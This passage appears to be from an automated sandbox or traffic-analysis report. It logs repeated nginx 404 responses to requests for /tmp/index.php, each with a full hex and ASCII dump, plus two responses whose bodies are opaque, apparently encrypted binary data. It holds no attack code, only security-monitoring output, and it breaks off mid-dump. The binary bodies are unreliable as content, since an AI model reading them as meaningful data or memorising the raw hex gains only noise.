Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:43:20 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:43:22 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:43:23 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:43:25 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 06 63 42 f3 31 04 ed f1 49 f6 9d ed e4 21 9b 23 9a e8 31 55 12 c3 89 9b c2 63 9a 3b 0d 16 Data Ascii: #\6cB1I!#1Uc;
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:44:58 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:44:59 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:01 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:02 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:04 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:05 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:07 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:08 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 1c 7d 51 ba 2c 0b e1 fb 09 f0 91 ef e4 2f 8d 61 c2 e8 6e 59 1a 82 9e 8a c0 70 9b 37 18 12 98 07 99 16 76 5a 57 e9 d5 7f e5 7c Data Ascii: #\6}Q,/anYp7vZW\|
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:18 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:19 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:21 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Mon, 30 Dec 2024 18:45:22 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 